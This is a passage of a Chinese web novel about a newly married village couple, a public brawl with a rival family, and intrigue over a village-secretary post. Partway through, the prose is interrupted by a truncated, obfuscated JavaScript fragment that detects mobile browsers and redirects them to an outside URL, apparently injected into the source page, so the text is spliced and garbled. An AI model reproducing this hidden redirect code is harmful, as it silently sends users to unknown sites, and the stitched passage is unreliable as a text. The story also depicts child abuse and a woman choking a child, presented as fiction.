余银笑了笑,“糖吃多了不好,就这写够了,不用买什么了。” 她垂下头,把玩着地里的草,“明天其实不买也成,咱俩结婚彩礼已经让村里人眼红了,若是回门在太过招眼,不太好。” 本来就因为游雾州这个人很有话题性,再加上他还救了落水的余银,大家还说他是被逼的,后来彩礼又给了那么多,招眼人红的不行。 现在若是回门在太招眼,就是在是不太好了。 毕竟人们都不希望周围的人可以比自己好出太多了。 以前他们家很穷很穷的时候,还有人宽慰他们,偶尔的接济,后来日子越过越好了,他们就不想让余家好下去。 人的本性就是这样。 游雾州听完,微微点头,“那就听你的,我早点回来,不叫人看见。” - 下午下工的时候,村里的喇叭响起来,带着滋滋的电流声通知杨柳村的人,晚上吃完饭在广场聚合开会。 这时候没有表和时间,大家差不多都是一块下工吃饭的,吃完饭天也没黑到哪去。 几乎每个村都会有很大一块平地,平时有事就在这开会,晾晒小麦玉米等粮食也在这。 吃过饭后,村里人都稀稀拉拉的往广场凑去。主要也没说什么事,离收麦子没几天了,明天就开始缝袋子,修缮放粮食的仓库了。让晚上也别睡太死了,说不定就腰连夜起床收割麦子了。 余银和游雾州也不用待在一块了,她要和王桂香和余阿娘一起缝袋子。 她还挺开心的,但也有些落寞。 说不上来的感觉,余银不愿去细想。 在广场上也没待多久,趁着天没完全黑透,又都踏上了回家的路。 开会的时候虎丫和余庆因为糖果又闹了别扭,俩人谁也不想看到谁,余庆和王桂香走一起。 虎丫就拉着余银的手,走在她和游雾州中间。 小丫头边走边吃糖,一颗吃完又剥开一颗吃,余银没忍住捏了捏她肉嘟嘟的脸,“虎妞,你这一会都吃几个了?” 小丫头一听她问糖的事,脸上立刻带上了警惕,以为余银要抢她的糖吃,旁边走走了两步离她远了一些,“爹给的,我的。” 说完,嘴里的才刚放进去,小手从口袋又拿了一颗,快速的剥开填嘴巴里,生怕慢了一秒余银真的过来抢。 大白兔奶糖是长条的形状,她嘴里也只能放下两颗,那两只手紧紧护着口袋,一看就知道还有。 可以口腔里吃着两颗糖,晃着脑袋,含糊不清的说着:“没,没有了。” “你别想吃,都没了。” 余银被她的小气样轻扯了一下唇角,“我记得昨天才跟你说话,你嘴巴里面要长虫子了,小虎妞。” “你就吃糖吧,到时候牙齿全部变成黑黑的虫牙,那些虫子从你牙齿缝中钻出来,在你嘴里一点一点把你牙都吃干净,到时候你的牙就掉光了。” “你年纪小小的就和林奶奶一样,没有个牙齿,看着还恐怖吓人。” 虎丫被她描写的画似乎真的预料到那个场景了,两只小手连忙捂着嘴巴,闷声说:“大懒虫,你骗人,我嘴里才没虫子。” “那可不一定,到时候你的牙全部掉光光,就吃不了东西,全都给庆哥吃。”余银悠悠道。 虎丫嘴里的糖继续吃也不是,吐出来也不行,咽了口含着奶香味的甜唾沫,“我才不信你的,你就是想吃我的糖。” 余银闻言,哦了一声,看着虎丫旁边的游雾州凉凉道,“你不信问问他,他可是首都来的,你知道首都在哪吗,那可是大城市,你看他骗你没。” 虎丫小手拉拉拉游雾州的裤子,“大懒虫说的是真的吗?我嘴巴里有毛毛虫。” 游雾州垂头,看着那双含着水花的眼眸,又看了眼余银,她微微扬眉。 虽然什么也没说,但却告诉他,就是这样。 游雾州淡淡地说道:“糖吃多了确实会长虫牙,你现在太小了,不能一次吃太多甜的。” 他确实没说错,但也没直说虎妞嘴里有虫,虽然余银骗了虎丫,可是照她这样的吃饭,虫牙那是早晚的事。 “你、你也是骗人的吧。”虎丫瞪大了眼睛,往前跑去她娘那,喊道:“我嘴里没虫子,不长虫子,能吃糖。” 王桂香正在哄儿子,见闺女也跑过来拉着她,鼓着小脸可怜巴巴地问她:“娘,我是不是嘴里长虫子了,牙都要掉光光了,到时候零嘴都给哥哥吃了。” 不等王桂香回答,余庆听到她最后那句,直接笑了起来,“虎丫你嘴里长虫子了,以后那些吃的都是我的了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376392|168363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虎丫一听余庆也这么说,“哇”的一声,扯着嗓子哭了起来,“娘,我不想长虫子,我不想吃的给哥哥。” “娘,我要死了,你救救我啊。” 王桂香被她哭的头大,哄了半天才止住哭声,让她张开嘴看看,把虫子拿出来,谁知道嘴巴一张,里面只有两颗白生生的奶糖。 王桂香一手抱着虎丫,一手在她脸上掐了一下,“我说没说过,让你少吃些糖。” “你还一次吃两个,没出息,吐出来给我,不许再吃糖了。” 虎丫的脸上还挂着泪,嘴巴里的糖还没化完,她依然含着,说什么也不吐出来给她娘。 抿着嘴,绷得紧紧地,也是怕极了她娘将她嘴巴里的糖拿走。 都不让她吃糖了,嘴里的肯定是不能吐的。 余银走在后面,懒懒地说:“真是比看粮仓的大黄还要护食啊。” 游雾州笑道:“舅妈都不让她再吃糖了,嘴巴里的肯定不能吐出来的。” “你不知道。”余银微啧一声,“这小丫头从小就这样,进了她嘴巴和口袋里的东西,一个都拿不出来且瞧着,待会回去收她口袋里的糖,还要再哭一场。” 果然,刚到屋里,余银和游雾州一个往锅里添水,一个烧柴,俩人在厨房才忙活上。 就传来余庆的笑声和虎丫响亮的哭声,也不知道虎丫的嗓门随了谁,哭起来那叫一个亮,还带着点尖锐。 余银和游雾州坐在灶下,一个一个锅烧着水。虎丫的哭声没停歇的响着,还夹杂着就不给的声音。 那声音听着还有点含糊,似乎嘴里还含着糖。 “我估计能一直哭到她把糖吃完。”余银撇嘴,“这丫头,也不知道阿舅给了她多少糖。” 游雾州往她跟凑了下,“她一边哭一边再吃糖吗?不怕呛着?” “你去看一眼就知道了。”余银笑道:“她不仅哭着把剩下的糖吃了,还要去抢余庆的吃掉,她没有,她哥哥也不能有。” “还有的哭闹呢。” 游雾州有些惊讶,说道:“虎丫看着很乖巧听话。” “乖巧?听话?”余银添了把柴,瞪大眼睛看他,“这两个词跟小丫头可一点关系都没有,霸道其实倒也还好,主要是小丫头一犯错,余庆就在旁边拱火。” “小丫头聪明得很,所幸破罐子破摔,她也不让她哥好过。”余银说。 游雾州点点头,“他俩不是平时看着关系挺好的。” 余庆有好玩的都会带着虎丫一块,那天结婚发的糖,他还看到余庆分了快一半给虎丫。 完全看起来不像,虎丫挨批余庆还在旁边拱火的样子。 余银眯着眼睛,“那也不影响他俩感情好,俩人还合起伙坑了我不少零嘴吃那。” “还会演戏吵架,一个扮着可怜,从我这再拿一份。” 听到这,游雾州微微一愣,好像那天就是看到余庆给了虎丫好多糖,过了一会儿又找他要了一次。 说的是妹妹就爱吃这个,自己平时都会先紧着妹妹吃,但他也爱吃这个。 游雾州当时一听这个,给他又多拿了点糖。 现在想想,似乎有些不对味啊。 17-20 第17章 第17章抓去坐大牢 快中午游雾州才回到余家,虎丫也不知道去哪玩了,他把买回来的东西放好,一些他给余银买的零嘴拿到自己屋里放进箱子里。 剛扣上箱子,就听到外面有人喊:“游知青,余大隊长,不好了,你家余银跟人打起来了,快去看看吧。” “游知青?余隊长?” 游雾州听到有人喊他,说余银跟人打起来了,就趕紧往门外跑,看到院子里站着个黑黑瘦瘦的大娘,正叉着腰喘着气。 “快,快跟我过去吧,你家余银和她娘跟人打起来了。”嬸子说完,就招手讓他趕紧走。 游雾州也没敢细问,跑得飞快,生怕跑慢了余银不知道被打成啥样了。 他想不到余银那性子会跟人打起来,她只是有点小脾气,但也只对家里人,没对外人冷过臉都。 当初连他是个陌生人都能拿出一块珍贵的大白兔奶糖的人,现在是要被人欺负成啥样了。 他看那嬸子已经落后许多,扭头放慢步伐朝她喊道:“婶子,她们人在哪啊?” 那婶子嗓子跑的幹疼,喘得不行,“在,在大隊,仓房门口那。” 游雾州一路小跑,就往去了。 不止游雾州被叫过去,还有柳大牛那一大家子。 他们柳家还没分家,柳大牛下头还有两个弟弟,和一个妹妹。 两个弟弟都结婚了还有孩子,就那个妹妹还小,比余银就大一岁,或许是因为小,又念过学,柳婆子对她倒还挺好的。 最近剛找媒人说了个城里人,准备相看呢。 柳家一大家子十几个人,也正好快下工了,社员们一听打架就知 道有热闹看,直接都跟在后面一起去看热闹。 而余家这边,余阿舅和村长书記一起开会了,只有孤零零的游雾州一个人。 快到仓房门口的空地那儿时,就听到余阿娘和人的对骂声。 他跑得快,这时候柳家的人也还没来,缝袋子的几个妇女正在努力的拉开她们。 游雾州也不管那么多,直接挤了进去,一眼就看到被余阿娘和王桂香护在身后的余银。 他伸手拉住差点被王大花打到的余银,另一只手拽着王大花的胳膊,往后使劲一推。 见他过来,她们还都有些懵,尤其是王大花,直接被推到了地上坐那。 “没事吧?”游雾州拉着人看,“有没有哪受伤?哪不舒服?” 余银雖然被护在身后。但也抵不住王大花疯了一般要还回来,衣服有被拉扯的痕迹,头发也有些鬆鬆散散的。 余阿娘和王桂香臉上甚至还有被指甲挠出来的血印子。 游雾州旁若无人的帮她整理衣服,余银拉住他的手腕,冷声道:“不用。” “誰欺负我家大花了?” “当我家没人了?” 柳家的一堆人也过来了,气势汹汹的朝着他们走过来。 王大花见人来了,哭喊着:“哎呦,我的亲娘啊,要将我王大花给打死了啊。” 余阿娘见状,往地上一坐,立马扯着嗓子喊:“哎哟,欺负我孤儿寡母的没个男人,儿子还在外面枪林弹雨的,不知他那孤老娘和小妹妹在村里人遭人欺负啊,天爷啊,你是一点活路都不给人留啊。” “我的天爷啊,这么多人欺负我个寡妇带着的闺女,我不活了啊,誰家好心人了等余金从部隊休假回来,讓他去给她亲老娘收个尸啊。” 余阿娘一边说,一遍摸着眼泪去看柳家的人。 连王大花听她这么说都愣住了。 她余春花那可是军人家属,本来就是王大花先骂的余银,那话也挺难听的,再说了,人家倆人再怎么说都结婚了,到底什么样,也只有他们自己知道。 没由得她们瞎猜,况且她们私下说两句就算了,有时候问上余银两句不痛不痒的话,小姑娘也不闹,笑笑不说话。 这都给人逼的动手了。 “娘哎,那春花家的余金还在部队呦,这军人家属叫欺负成这样了,啧啧啧。” “你不知道刚才王大花骂人余丫头骂的多难听,我要是春花,我也上去扇她嘴巴子。” “这是咋的了啊,春花咋被欺负了,余队长人呢?” “王大花也真是的,春花那么泼辣的人,都能给欺负成这样啊。” 村民们议论纷纷。 “我也不活了。”王大花眼珠一转,两手往地上拍着溅起尘土,“我一个长辈,叫一个小丫头给当着这么多人的面打了,我还有什么臉面活啊,叫我去死吧。” “光宗和耀祖啊,娘舍不得你们啊,娘实在没脸活着了啊。” 说着伸手朝过来光宗和耀祖拉着他倆抱在怀里,一副母子情深的模样。 俩小的胖乎乎的,那四个大的面黄肌瘦的,可见那王大花有多偏心了。 光宗和耀祖跟他们娘感情也是极深的,一听他娘叫欺负,露出一副恶狠狠的表情,“娘,谁欺负你,儿子给你报仇。” 说完兄弟俩对视一眼,从他娘怀里出来,一个朝着余阿娘撞去,一个朝着余银撞过去。 耀祖直衝余银,但还没有得逞,就被游雾州一把提着领子往旁边一甩。 他见没撞到余银,还想再来第二次,见游雾州薄唇紧抿,脸色冰冷,素来带着三分笑意的眼眸此时尽显厉色。 嚇得那耀祖站在那也不敢动了。 光宗雖然小,但吃的胖,余阿娘猝不及防的被他撞倒躺在地上。 正想坐起来张嘴骂撞她那小的,起了一半身子,碰了下王桂香的手臂,直接闭上眼倒了下去。 王桂香顿时惊呼:“我的余姐啊,你这是咋回事啊?” “哎呦,春花这是咋地了?” “春花啊,你别嚇人啊。” “娘!”余银原本还没反应过来光宗的动作,被游雾州圈进怀里,此时看到他娘倒在地上。 “娘,你别嚇我啊。”余银吓得扯着嗓子大喊,脸都白了几分。 她晃了晃余阿娘的身子,见没动静,立马抬起头看了一眼柳家人。 一双带着水光的鹿眼,此时却像淬了火一样,起身就走到光宗面前,双手掐上他的脖子,“我娘要是有个三长两短,你也去死吧。” 她此时气急了,手下力气竟也讓光宗挣脱不了,脸憋得越来越红,王大花从地上起来,怒喊道:“余银,你敢动我儿子,我打不死你。” “柳大牛,还不赶紧去救咱儿子啊!” “余丫头啊,有话好好说,快松开。” “这孩子快喘上不气了,赶紧松手啊余丫头。” “都站那别动。”游雾州语气极冷,扫视一圈。 已经衝上来的柳家人和王春花停住脚步。 他走过去,大手抚上掐着光宗的手腕,对着她摇摇头,在她耳边小声的说了一句话。 她垂着眼看向她娘的方向,王桂香正搂着她娘,余阿娘悄悄眼皮悄悄睁开条缝,对着她余银眨了下眼睛。 也幸好此时的注意力都在余银和柳光宗身上,没人注意到。 余银缓缓松开了手,柳光宗被她吓到身子摊在地上,不敢动弹。 柳大牛连忙上前走抱起他寶贝儿子,到他爹怀里的光宗这才觉得被被解救出来,捂着脖子咳嗽,王大花看着她儿子通红的脸,心疼的泪水在眼眶直打转。 “杀千刀的东西,怎么就对一个孩子下这么重的手啊。” “我的光宗啊,娘的心肝肝,心疼死娘了啊,真是狗娘养的烂货。” 余银眯着眼睛看柳光宗,“柳光宗,你可記好了,我心眼小,不管你是不是小孩子,这事咱俩可没完。” “你可千万别让我在碰见你了,不然我可不知道我还能做出来什么事。” 王大花一听这话不愿意了,“你个狗娘养的,我家光宗要是有个三长两短的,还没找你,你还敢说疯话吓他。” 她家寶贝儿子自己平日看的和眼珠子一样,生怕磕了碰了,今让这丫头给掐的都喘不上来气了。 她自己还让这丫头给打了两巴掌。 王大花那叫一个生气啊。 余阿娘躺在地上,王桂香又是个不顶用的,她家还这么多人来了在。 她撸了撸袖子,抬手就向前往余银跟走。 那一巴掌下去,没打到余银身上,打在了护着她的游雾州身上。 王大花打了一下没打到,伸手就往游雾州怀里拽余银,扯着嗓子喊:“还不过来帮忙啊。” 她没拽到,下着黑手往余银身上拧,柳家其他人,除了王大花也没敢都上前。 柳家没分家,吃住都在一起,柳大牛一家人多,还有两个光宗和耀祖,哄的柳老婆子每天都给吃个鸡蛋。 知道王大花受欺负了,过来是一回事,动手又是一回事,柳二狗和柳小弟对视一眼,见柳大牛都没上前,他们也站在那不动。 一时间就只有王大花和几个闺女冲上去,她几个闺女围着也不敢动手,不顶一点用。 游雾州眼看不对,握住了王大花的手腕,似笑非笑,“王婶子,再动手的话,我不介意去叫警察来了。” 一听到警察两个字,村里人还是有些怕的,王大花倒没在有什么动作了,主要也是手被游雾州擒着。 “游知青你吓唬谁啊?”王大花翻了个白眼,“还叫警察来……” 游雾州冷笑一声,“婶子怕是不知道坐牢是幹什么的吧。” “咱们让警察过来评评理,看看到底不管是谁的错,这么多人欺负军人家属,该怎么办?余金大哥为了村民们的安全在战场上浴血奋战,你们却在他不在的时候欺负余阿娘和余银,不说警察来了抓不抓你们,余大队长平时怎么对你们的,他和村长回来了又该如何算。” 他们平日里干活有一把气力,可都没啥文化,但也知道警察抓走坐大牢是干什么的,况且游雾州看着也不像 是骗人的,虽然听不太懂他说的那些道理,但也好像知道了余阿娘和余银是不能随便欺负的。 柳二狗和柳小弟本就不想帮忙动手,他们又不傻,那余队长虽然无私,要是今天真给人家家人揍了,事后想收拾他们那是简简单单。 也都在庆幸刚才没上前帮忙。 柳大牛脸色也有些不好看,跟谁打起来不好,偏偏是余阿娘,还给人弄晕了在地上。 听说余队长还又要升官了,他们家余金在部队也是个官。 一想到这,柳大牛就头疼的慌。 王大花扭头看了一眼,她身边站着的只有四个女儿,心里咯噔一下。 “警察凭啥抓我,她余银还动手打我了呢,要抓把我俩都抓起来好了。”王大花死也要拉个垫背的。 游雾州还没开口,余银从他身后出来,勾了勾唇角,冷哼一声,“王大花,你说这句话之前,要不要先回一下到底因为什么打起来的,就算我是要被抓进去,你那宝贝儿子把我娘撞成那样,你说他还这么小,该怎么再牢里活得下去啊。” “反正事情都到这个地步了,我余银光脚的不怕穿鞋的,上面还有一个余金能替我给我娘尽孝,咱俩就要死一起死,你那宝贝儿子我就是坐大牢,也要把他带进去,不行就掐死他。” 俗话说打蛇打七寸,王大花不是把她两个宝贝儿子看的金贵,她就要让王大花知道,她是没在怕的,又没有两个宝贝儿子。 更是没有能让她惦记的东西,或许她死了,也不会再发生上辈子那些事了。 想到这,余银脸上没有一丝开玩笑的神情,仿佛真的这条命现在不要了也没关系。 游雾州心里顿时一突。 第18章 第18章会哭的余银 倒是余银目光恶狠狠的死盯着柳光宗,仿佛下一秒真的要掐死他。 柳光宗缩在王大花的怀里,被吓得直哆嗦,连哭都是毫无声息的悄悄掉眼泪。 生怕余银真的过来掐死他了。 剛才余银是真想掐死他,他感觉到了,那是离死亡没多少时间了。 柳光宗虽然不知道什么是死,但是那种快要窒息喘不上气的感觉,和能感受到自己好像要慢慢消失的恐惧感。 都讓他不想再承受第二次了。 双胞胎之间的感应,讓连一旁的柳耀祖也同样深陷在恐惧中。 兄弟倆对视了一眼,将头使劲往下埋,把存在感降低,希望不要被注意到。 王大花也被余银弄的一时间也说不出话来。 就这样僵持了没多久,本来去叫村里妇女主任,结果剛好碰上县城过来的两个妇聯領导。 去喊村里妇女主任是老杨家的赵婶子,余银剛把那个轻松的活给了她家怀孕的儿媳妇,她一看还来了倆領导。 就故意讓那倆領导也一并去。 村里这会能有个头衔管事的,只有张紅这个妇女主任了,但张紅的男人是柳华青,和柳大牛们也一家,是柳大牛的亲表嫂,这关系在那摆着,两个妇聯領导也不好推辞,跟着一起过来了。 但柳华青的亲爹就是即将退任的村支书,他们家本想将位置留给柳华青,但当初早就说好了这是人家余阿舅的。 柳村书记那时候刚坐上村支书的位置没两天。 余阿舅就回来了,他当时想着都是一个村里的,柳支书又刚上位。就说等到柳支书六十岁年龄到了再说,毕竟村书记那个位置可是很多人眼紅盯着的,余阿舅这样做,当初柳村支书为了感恩还写了承诺书。 这些年上头一直想把余阿舅往上提提位置,可最近也不知是谁说的,柳支书的位置当初本該是余阿舅的,还约好了等他六十岁,就把村书记的还给余阿舅。 可余阿舅一直也没表过态跟他提过,现在他们不想认了。 柳村支书本想着,余阿舅一直没提过,且他自己还是个能幹的,应該不会想着村支书的事,就想着自己也装糊涂,等到差不多的时候,直接给他儿子柳华青。 到时余阿舅一看这位置有人,应该就不会再讓儿子退下去了。 最近离柳支书六十岁没多久了,他们家急的就像热锅上的蚂蚁。 这些事,赵婶子是知道当初一点的,就是也想到了这些龌龊,才开口说了张紅和打架的王大花是一家的,但也没提还有关于村支书位置一事。 这件事不管最后怎么处理,赵婶子既能两边不得罪,还能两边都落到好。 赵婶子打着小算盘,带着张红和那两个妇聯领导挤进来。 “让让,妇聯主任来了。” “这俩可是城里来的领导。” 张婶子大家都认识,她身边还多了两个臉生的,看着年纪都不小了,穿着藏蓝色的工作服,一听是县城来的领导,赶紧腾出一条道来。 张红看了一眼柳家的人,问道:“怎么回事啊,鬧成这样。” 来的路上,赵婶子只说余家和王大花发生口角后来动起手来。 也没说是谁先挑的事,和余阿娘暈倒了。 柳家的人也是听说王大花被打,一头霧水的赶过来,具体实情也不知道。周围看闲事的就叭叭地将她们吵起来再动手的事一一说出来了。 将王大花是怎么骂的余银,最后打起来,再到王大花那两个小的给余阿娘撞暈在地上。 遊霧州此时才听到了事情起因,臉黑了又黑,揽着余银肩膀的手掌也不自觉地用力。 余银抬眸,只能看到她紧绷的下颌,晃了下肩膀,从他手下脱离出来。 张红原本还有看热鬧心态,在心里盘算着怎么将事情闹大,好让余阿舅不好再向他们家提村支书的事情。 可听到将余阿娘都给撞暈了,她是刚飘上去的心情,瞬间又跌落下去。 那两个妇联的人也不好插手人家村里的事,只是在一旁就行,但听到人晕了,便开口道:“晕倒的婶子怎么样了?” 她一开口问,看热闹的村民们这才想起来,光说余阿娘晕倒,但也没人去看看她咋了。 大家四周看了看,才发现,余阿娘在旁边的大树下躺着,王桂香也在她身边。 赵婶子喊王桂香,“桂香啊,你姐没啥事吧?” 王桂香点点头又摇摇头,“刚才醒过一次,说难受的慌。” 妇联的那俩人看着衣服和头发乱糟糟的王桂香和余阿娘,对视了一眼,眼底的无奈清晰可见。 她俩也不是什么领导,只是杨柳村远还偏,她们妇联的人都不愿意过来,有问题也是让下面那些小姑娘跑一趟。 前短时间其他地方有小姑娘去乡下,出了点事,差点回不来,让那村里的軍官给救了出来,事后妇联的主任领导都挨了顿批,不再让小姑娘下乡,说不安全。 下乡的全换成已婚年龄大的老油条。 她俩本想着走个过程吃个饭就走了,这还赶上事了。 出于人道主义也不好推辞跟着一起来了。 这谁知道,人都晕倒了,差点出人命啊。 张红对着妇联这俩人幹笑一声,“醒了就行。” 村里人晕倒了就掐人中,醒了就没事,至于医院,那是去了有病没病都要掏钱的地方,她们是不去的。 妇联的这两个人听张红的话,皱了下眉,但也没说什么。 毕竟再怎么样也不归她们管。 张红看了看余阿娘,又看了看王大花。 前者躺在那,实在不好说什么,后者一见她看过来,就嚷嚷道:“张主任,你看看余银那死丫头给我们娘几个欺负的,我这么大年纪了,她还问我叫一声婶子呢。我不过就作为一个过来人,提 点她几句夫妻间的相处之事,她当着这么多人的面打我,我王大花的臉以后还往哪放,以后还怎么见人啊。” 说着抬手抹了把脸,擦着不存在的泪花。 “就是,王大花再怎么也是余丫头的长辈,怎么动手打长辈啊。” “余银这丫头也太霸道了,就说了两句,又不会掉块肉,还动手打人,刚才还想掐死人。” 村里人听风就是雨,王大花这一说,风向瞬间变成了余银的不对,完全忘记了到底是为啥了。 躺在树下乘凉的余阿娘,听到这急的想赶紧起来辩解两句。 张红看向余银,冷着脸训她:“余银,你不能仗着你舅舅是大队长,就以为能在村里一手遮天,为所欲为了?平日里就算了,怎么还能动手打长辈?” 她这话说的缺德,也不愧是妇女主任。 不仅给余阿舅按了个徇私了罪名,还想将事情过错都推到余银身上,将余银这个人直接定下了,她平日里就仗着余阿舅为所欲为的印象。 像余银这种不懂弯弯绕绕的,只觉得她这话说的不对劲,她確实是打了王大花,那也確实算她长辈。 可就是说不出这些话哪里不对。 遊雾州打小就跟着他外公,也知晓这会儿张红打的什么主意,用只有他俩能听到的声音说了句。 “等会学一下虎丫。” 他说完,就将余银拦在胸口,手掌在她背后轻抚,“张主任,余银同志平日里是不爱上工,她从小身体不算太康健,余阿娘心疼女儿,但余家没指望着她挣那几个公分来吃饭。余家阿舅作为大队长也从来没偏袒过余银一二,不论村里干不了重活的知青,还是谁家身子不好或怀孕的媳妇,都是给挑轻松活。” “余银同志即使身子不算康健,在我们结婚后也是主动提出去参与重一点的农活,来替村民们分担,她知道她舅舅是村里大队长,也不想拖后腿。我不知道王婶子是从何处听到的余家是逼迫我和余银结婚的,但余银和余阿娘毕竟作为軍人家属,王婶子将那些污言秽语安在他们身上的时候,有没有想过在军营的余金同志心里作何感想。余金同志不畏艰苦,冲在最前面,王婶子却在他的身后如此欺负余家阿娘和余银同志。” “王婶子这番做派,当真是让人心寒。张主任一向正派,也应该好好查一下王婶子的身份,毕竟余银同志好好的在做活,王婶子上赶着对军人家属余银同志咄咄逼人的侮辱,这样的作风问题,我们淳朴的农民是做不出来的。” 又是作风问题,又是对军人家属主动挑事。 王大花和张红的脸都青了又白,人家再懒那也是身体不好做不了重活,再说了吃的是余家的粮食,干她们何事。 村里人在余阿舅的带领下那确实是平平稳稳,没出过什么大事,虽然苦,但也至少平均的对待每一家,比起那只想着揽自家的,不知道要好多少。 更是对于那些肩不能提手不能扛的孕妇和知青,那确实是多加照顾的。 你要说他偏心家里人,可余阿娘和王桂香也都是做着一样的农活,她家余银也是有着割猪草的活,没说整日闲着,比那个村支书家小儿子对象,那个记分员的活还要累一些。 那记分员的活才是啥也不干,没什么用处的。 余银观察到村里人顿时沉默,他们心里也是有一杆秤的。 游雾州让她学虎丫,可不是会哭的孩子有糖吃虎丫还能边哭边把糖都吃了,余银垂着的手狠狠的在大腿了拧了一把。 疼的她眼泪瞬间流出来了,学着虎丫,嘴一张,哇的一声哭起来。 哭喊着说:“我也不知道做错了什么,婶子们眼神不好,我正穿着线,王婶子过来说我没脸没皮,不要脸,坏了村里的名声,还有许多难听的话我都说不出口。也不知道我做了什么错事要让王婶子如此侮辱我,难道就因为掉水里被我男人救了,我就不该活在这世上了吗?” “可是现在不是新时代了吗,我已经因为落水嫁给游雾州了,难道非要我去死,还是新时代不能给落水的女人一条活路吗?我哥哥临走之前让我好好照顾我阿娘,要是真的没有活路了,我、我现在就去死。” 说着就要往她娘躺着的树上撞,被游雾走拦着,捶着胸口哽咽着:“我没脸活下去了,王婶子不给我活路啊,我辜负了我哥留给我的任务,也不能给娘好好尽孝,哥哥,对不起。” 余银哭的一抽一抽的,加上那声声控诉,连那个不想管事的妇联的人听了,都觉得都觉得有些不忍。 第19章 第19章三合一 这年头村里断案,没有明确的证据,那还真是谁更惨一点谁有理。 何况确实是王大花先招惹的余银,谁家被人指着鼻子站你臉前骂你闺女,骂的那样難听,谁不生气。 话里话外不管怎么说,王大花是真歹毒,余银要么坏着名声活着,连累着余家那一家,要么死了余家也能抬起头见人。 也不怪人余阿娘和余银动手。 看熱闹的村民们七嘴八舌讨论起来。 “余家是可怜啊,还不容易孩子们都大了,出了这事谁也不想的,何况现在新时代了,不能搞封建那一套了。” “可不是嘛,你说这王大花是不是故意挑事啊,村支书不是要还给人家余阿舅嗎,这一闹事可不就,要不来村支书的位置了。” “呦,还真是,这柳家心思可真歹毒,她莫不是受了谁的意思,難怪今天村里只有个妇女主任能支事。” “咦,俺嘞娘诶,王大花早就看上人家游知青了,想给她家盼娣说给他,也不看看人余银长嘞啥样,游知青又不傻,不吃馒头吃干菜。” “我给嫩说,那余丫头好好的,平时都不出来乱晃,咋那天就掉后山水塘里了,估计就是王大花弄的。” “我亲娘嘞,这,这柳家都敢杀人嘞。” “咦,啧啧啧啧。” 这些话都清晰的传进在场所有人的耳朵里,那两个城里来的妇联的人,现看张红的眼神都变了。 几乎是一瞬间,看向柳家人的目光都帶了些审视的意味。 王大花见状,眼神中闪过慌乱与怒意,“老周家的,你胡扯什么,别让我撕烂你的嘴。” “瞧,我说什么了?”老周家的撇撇嘴,“我不过说两句闲话,还没你说余银的難听,你坐不住了。” “棍子没落在自己身上,自然是不知道疼的。”游雾州冷冷道。 王大花看周围人的神情变化,一时间又气又怒,鬆开手就要站起来。 一看又要乱起来,妇联的的人喊道:“行了,这都什么事啊,你们下午不上工?中午不回家做饭吃饭?有什么事等你们村张队长回来再说,在这吵来吵去有什么用?” 说完,语气也还算和善朝着张红道:“张红同志,我们还要去隔壁村子,中午就不在这吃饭了。” 妇联的两个人也对这里面的弯弯绕绕猜了七七八八,不管柳家有没有示意王大花,这件事她倆也不好插手太多,就让各自先回家,等他们村长回来了再说。 她们倆找了还要去其他村子的借口,也先一步离开了。 看熱闹的村民们见状也都准備各回各家,没啥熱闹看了,家里饭还没做,留这也没什么可看了。 等余大队长,村长和村支书回来,那时候再去看热闹。 围成一团的人七七八八的散了,张红黑着臉,连招呼也没打直接走了,王大花牵着她的光宗和耀祖也准備回家去了。 临走前,看了一眼余阿娘身邊的余银,她 想起自家那四个一点忙幫不上的女儿,人家游知青还幫着余银说话,她家柳大牛嘴跟针缝上了一样。 连个屁都不放。 王大花越想越气,前头柳大牛走的越来越快,一点没有等她的迹象,也没问问她怎么样,好歹她还是柳家的大功臣。 越想越气,王大花狠狠剜了剜柳大牛的背影,再转过身子,一脚踹在盼娣身上,直接将她踹在地上。 嘴里还骂道:“老娘给你吃喝,到头来连人捞不着就算了,你老娘挨揍连个忙都幫不上,要你这个丫头片子也不是有什么用。” “改明就给你嫁给邻村的老強子算了,还能捞倆彩礼钱。” 邊说邊又不解气的踹了盼娣几脚。 柳光宗和柳耀祖看着他姐姐挨打没有丝毫反應,其中柳耀祖还扯了扯王大花的袖子,一臉邀功的笑着说:“娘,我长大了就能幫你揍回去,现在太小了没力气,你把她买了给我买麦乳精喝,我长得高高壮壮的保护你。” 她就知道还是生儿子有用,丫头片子一点不顶用,想到儿子剛才帮她把余阿娘撞晕了,她就高兴的不行。 王大花听了心里的郁气消散不少,牵着柳耀祖的手晃了晃,“行,那两个大的卖了给你倆长身体,小的俩等大一点,卖了给你俩娶媳妇。” 说完牵着俩儿子的手往家走去,也不管盼娣躺在地上有没有事。 其他三个念娣,招娣,来娣,看眼地上躺着大家,像失了魂一样,又看了眼她娘的背影。 “还不赶紧回家去做饭,饿着你俩弟弟咋办?”王大花看着这几个丫头片子就来气,没好气的说道。 要不是她们年纪也不大,还能干点活,她真想一个一个都赶紧嫁出去算了。 念娣,招娣,来娣看了一眼地上的大姐,推了推她,“大姐,娘让赶紧回家做饭嘞。” 盼娣没一点反應,依旧是眼神有些空洞的躺在那。 她们三个也不敢再耽误,跑的飞快回家做饭去了。 要不然又是要挨王大花的一顿毒打- 戏也唱的差不多了,人都散了,余银抬手抹了把臉上的泪水,朝她娘跑过去。 王桂香跟余阿娘坐在阴凉下,好不惬意。 余银走过去,也没说话,往地上一坐靠着大树,看着散去的村民们。游雾州跟着她,半蹲在旁邊。 “余丫头,我先去回家做饭了,你娘醒了就没啥事,不行下午你舅回来了,给帶去看看。”说话的事她们家旁边的李婶子。 余银苦笑,“我知道了李婶子,都晌午头了,孩子们肯定也都饿着急了,看见虎丫了,跟她说一声我们待会就回去。” “唉,行。”李婶子抹了把脸上的汗,“那俺回家做饭去了。” 树下比剛才站那地方凉快的多,王桂香是个不爱说话的,一时间四个人安静的待着。 余阿娘偷偷睁开一眼缝,结果只能看到余银的衣角,她小声问:“人都走完了没啊?” 余银连个眼神也没给余阿娘,冷声道:“没有,晕着吧。” 余阿娘要不是待装着晕,这会肯定是要说上余银两句,咋跟她老娘说话的。 